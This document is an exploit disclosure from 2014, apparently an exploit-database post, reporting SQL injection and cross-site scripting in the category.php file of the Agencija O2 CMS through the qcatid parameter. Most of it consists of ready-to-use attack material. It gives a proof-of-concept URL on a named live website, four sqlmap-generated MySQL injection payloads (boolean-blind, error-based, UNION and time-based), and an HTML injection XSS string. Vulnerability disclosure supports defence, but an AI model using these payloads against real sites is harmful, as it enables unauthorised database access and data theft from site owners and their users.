# SQL Injection & XSS on CMS Agencija O2

# Risk: High

# CWE number: CWE-89,CWE-79

# Date: 22/08/2014

# Vendor: Agencija O2

# Author: Felipe " Renzi " Gabriel

# Contact: renzi@linuxmail.org

# Tested on: Windows 8 pro & Linux Mint

# Vulnerable File: category.php

# Exploits: http://host/cms/category.php?qcatid=[SQLI] & [XSS]

# PoC:      http://www.megaline.rs/cms/category.php?qcatid=[SQLI]& [XSS]


--- "SQLI using SQLMAP."---

    Place: GET
    Parameter: qcatid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: qcatid=99999 RLIKE (SELECT (CASE WHEN (3232=3232) THEN 99999 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: qcatid=99999 AND (SELECT 9170 FROM(SELECT COUNT(*),CONCAT(0x7174666171,(SELECT (CASE WHEN (9170=9170) THEN 1 ELSE 0 END)),0x7167716471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: qcatid=99999 UNION ALL SELECT CONCAT(0x7174666171,0x576b5a63576663766442,0x7167716471),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: qcatid=99999 AND 4293=BENCHMARK(5000000,MD5(0x46795155))

--- " XSS using HTML injection."---

    http://www.megaline.rs/cms/category.php?qcatid="><marquee>XSS</marquee>


# Thank's